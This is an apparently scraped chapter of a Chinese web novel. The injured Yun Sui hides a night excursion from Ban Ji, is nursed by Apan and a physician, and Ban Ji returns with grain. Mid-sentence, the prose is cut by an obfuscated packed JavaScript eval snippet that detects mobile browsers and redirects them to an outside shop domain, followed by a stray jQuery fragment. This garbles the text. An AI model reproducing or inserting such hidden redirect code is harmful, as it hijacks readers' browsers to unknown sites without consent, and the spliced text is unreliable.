云遂甩开那只花猫,又那样一步一跛地挪回净水庵,木杖笃笃点地,给夜的寂静打更。
庵中一切如常,左厢房里阿攀鼾声绵长,前殿柿树上猫头鹰咕咕叫了两下便噤了声。
他心中一宽,料想无人察觉他这段短暂的抽身。
小木屋离禅房颇远,他那一点笃笃声不至于惊动任何人,可走到半途,他还是收起木杖,咬着牙,单凭那条好腿一步步蹭过去。
只这几步路,便挪得他额上冒汗,心跳加速,锐痛更甚,可当他转过墙角,来至小木屋前,才真正开始心惊肉跳。
人呢?说好为他守夜、寸步不离的那个人呢?
他临走前为她盖上的薄被此刻被甩在一边,门前空空落落,哪还有半点人影?
回房安歇了?应该不会。那人说好了守夜,便是一根筋守到底的脾气。
如厕去了?应该也不会。他方才一路过来,途经茅房一带,四下死寂,并无半点动静。
唯一的可能……她发现他不在屋内,出门去寻了?
这个念头一冒出来,他后背就爬起一层细密的凉意。
她是什么时候醒的?她离开时有没有经过庵后那条窄巷?是不是撞见了月色下那两道密密交谈的身影?
他和乙说了那么久的话,除了那只不老实的花猫,他确信没听见任何动静……
但这女人走路有时候确实没声音,跟踩在棉花上似的。
他立在门外,心底那根弦松松紧紧拧了好几圈,最终还是认命地迈进屋中,将自己塞回躺椅,拉好薄被,闭上眼睛。
若是明日她问起,便咬死说自己整夜安睡,半步不曾离开木屋。
她那样信他,这谎话大抵不难圆过去。
如果她还怀疑,他更要矢口否认,甚至倒打一耙,推说她夜梦糊涂,或笑她梦游恍惚。
思及此,他心底竟无端生出几分底气。
困意比预想来得快,他没能撑多久,便被浓稠的疲惫攫住,拖进一段昏沉无梦的睡眠。
再睁眼时,天光大亮。
又是一个响晴天,晨光汹涌地穿透窗户和围帐,洒在他的衣摆和手背上。
他眯着眼适应光线,还没来得及翻身,门外便响起一阵脚步声。
他仔细听,听出那步调不是班棘的,就既有点担心,又有点失落。
果然,不一会儿,那轻快却虚浮的脚步不经他同意就进入木屋,下一刻,围着他的帐子被唰地掀开。
“云公子,你醒啦?”阿攀钻了进来,带来一阵喧闹。
她手上端着个粗陶碗,碗里是与昨夜一样的稠粥,热气腾腾,粥中还混着一些乌青。
那是野菜,晨起戚加均带着阿登去附近挖来的,特意添来为大家改善伙食。
云遂不认得那东西,也不大喜欢那气味,却也不挑,径直从阿攀手中接过碗来,尝了两口,把碗往旁边一墩,想要调整一下坐姿。
阿攀显然会错了意,误以为他厌食,立刻不依不饶地将他按回椅中,再度将那碗粥递到他嘴边。
“女帝姐姐临走前特意叮嘱,让我盯着你把粥喝光,你敢抗旨不遵?”
突如其来的强迫让云遂微显局促,他稍稍挣动身形,坐得稳妥些,伸手接过粥碗,默默进食。
两口下肚,他才神色一变,急急发问:“临走前?陛下去往何处了?”
阿攀撇撇嘴,一屁股坐在他脚边的草堆上,“女帝姐姐天没亮就跑了,东城丰年仓那个女财神递了帖子,请她去赴鸿门宴。”
“鸿门宴?”云遂当即紧张起来,“既知是鸿门宴,陛下为何还去?”
阿攀一摊手,无奈道:“鸿门宴就鸿门宴呗,女帝姐姐是什么人,云公子你难道还不清楚吗?就是上刀山下油锅她也不会犹豫的啊!”
她意味分明地朝云遂的伤腿努了努嘴,“云公子你不是没阻拦过,结果怎么样?还不是落得现在这种下场。”
好像但凡谈及班棘的莽撞,阿攀对云遂的戒备便会悄然卸下,默认二人属于同一阵营,可以不加顾忌地肆意吐槽。
可这句无心之语,却莫名让云遂耳尖微热、心头发虚。
他不由想起前日左厢房中,班棘见他重伤倒地、心急如焚的模样,再联想到昨夜乙那番半真半假、僭越打趣的话,心底纷乱翻涌,愈发忐忑。
好在他素来沉稳自持,转瞬便敛去杂念,正色追问:“你说的女财神,可是丰集英?”
“哟,你也知道?”阿攀来了精神,瞬间开启话匣子,“那女人可厉害了,上都十三家社仓,全捏在她手心里。听说她男人当年是武举探花,一杆枪能挑翻七八个壮汉,如今却天天在家给她炖汤带孩子,人称上都第一贤夫……”
阿攀还在絮叨,云遂却已听不进去了。
他岂会不知丰集英。
三年前,户部欲清查天下社仓,强征一成利税充盈国库,举国商户无人敢驳。
唯独丰集英只身闯入户部大堂,当庭拨打算盘,条分缕析,抽丝剥茧,将加税政令的弊处与不公尽数拆穿,驳得满堂朱紫哑口无言。
最终,户部侍郎躬身相送,利税分毫未增,政令不了了之。
此女胸藏丘壑,手段凌厉,是实打实的治世能臣,可她心性善恶、立场归属,向来晦暗难明,无人勘透。
“陛下可是孤身赴宴?”云遂压下思绪,沉声再问。
“我原本跟着呢,只是女帝姐姐打发我先回来了。”阿攀忽然眼露狡黠,笑得神秘兮兮,“云公子,今天会发生一件天大的喜事哦!我先不告诉你,保准你惊喜!”
她故作高深卖着关子,云遂却早已洞穿端倪。
昨日班棘当众折了义仓颜面,断了太师拿捏粮储的算计,丰集英连夜递帖邀约,为的自然是粮的事。
她此番多半会松口放粮,可她主动示好,究竟是真心押注这位横空出世的女帝,还是太师府借她之手布了一局更大的棋?
云遂心头一沉,昨夜种种猜想再度翻涌而来。
“云公子,”阿攀凑过来,狐疑地看着他,“你脸色好难看,是不是粥太烫?”
云遂回过神,连忙摇头掩饰,“温度刚好。”
为证明所言非虚,他端起碗,咕咕灌下两大口稠粥,不去管是不是噎得难受。
喝尽了粥,他便客客气气地将碗还给阿攀,连声道谢,感谢她不辞辛苦地照顾他这个病患,真是有劳她了云云。
阿攀自小到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865937|212194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大哪里受过这般礼遇,竟有些羞赧,心里对云遂残存的敌意又消减几分,捧着空碗一溜烟跑了出去,转眼便扎进凝安坊的施工人群之中。
木屋重归寂静。
云遂躺得周身酸软,气血滞涩,忍不住撑着木拐,想要直起半边身子,活动活络筋骨。
不料他身形刚动,门外便传来一声清亮的呵斥。
抬头看去,沈见原立在门前,眸光沉沉落在他身上,不怒自威。
云遂忆起她的医嘱,不再挣扎,认命地躺了回去。
见他这样安分,沈见原才依礼在门板上叩了两下。
“请进。”云遂亦遵循礼节,相当客气地作出回应。
沈见原是来换药的,进得屋中,二话不说便蹲下来查看云遂的伤腿,麻利地拆解纱布。
当伤处皮肤再度暴露在空气中,她面色忽然一沉,叹了口气。
“云公子,还请你对自己的伤势多多上心才是。”
云遂自知理亏,昨夜擅自走动,牵动伤势,定然耽误伤口愈合,被沈见原识破了。
在医者面前,一切狡辩皆是徒劳,他索性低下头去,坦然认错。
“多谢沈大夫费心,的确是我疏忽了。”
沈见原见他态度恭顺,也不再多苛责,默默换药包扎,收拾药箱后便匆匆离去,去往凝安坊巡查工事进度。
木屋之内再度回归清静,可整座净水庵却是热闹非凡。
凝安坊工地之上,戚加均带队督工,人声鼎沸,土木轰鸣;庵门前领净水的灾民排成长龙,蜿蜒穿梭,直抵后院水井,了津、了澜调度有序,毫无错乱。
外头人人奔忙,各司其职,唯有云遂卧榻静养,无所事事。
他心中难免局促不安,却也心知自身伤势,强行起身只会徒增旁人麻烦。
几番纠结,云遂终究敛了杂念,倚坐榻上,翻起从沈见原那里借来的医书,静静消磨时辰。
不知过了多久,在外界的白噪音中,他又阖上了眼睛。
又不知过了多久,一阵突兀的异动惊醒了他。
阿攀在门外顿驻脚步,无限雀跃地探进头来,高声宣布:“喜事临门咯!”
话音落下,她便一阵风似的掠出门外,奔向庵前大道。
接着,云遂就隐隐约约听到了辘辘的车轮声,喧嚷的人声,间或夹杂着班棘的哼唱。
“……炙肉香哟离州羊,小班小班你最强……”
那调子不伦不类,像是糅合了边塞小曲和江南小调,荒腔走板已到极致,偏偏演唱之人坦荡张扬,理直气壮。
紧接着,灾民轰然爆发欢呼,阿攀扯着嗓子喊“卸粮卸粮”,整个净水庵如置沸汤。
云遂一走神,医书险些脱手砸在脚上。
他手忙脚乱地将书拉回到腿上,又将手按在书上,仰面躺倒,拉好薄被,闭上双眼。
然后他等啊,等啊。
终于,木门吱扭一声开启一道宽缝,那颗沾满风尘、灵动鲜活的小脑袋,探了进来。
云遂尚未斟酌好时机,要不要顺势睁眼醒来,不料一道锐利的质问已然迎面砸来。
“云爱卿,你跟朕说实话,昨天夜里,你偷偷跑到什么地方去了?”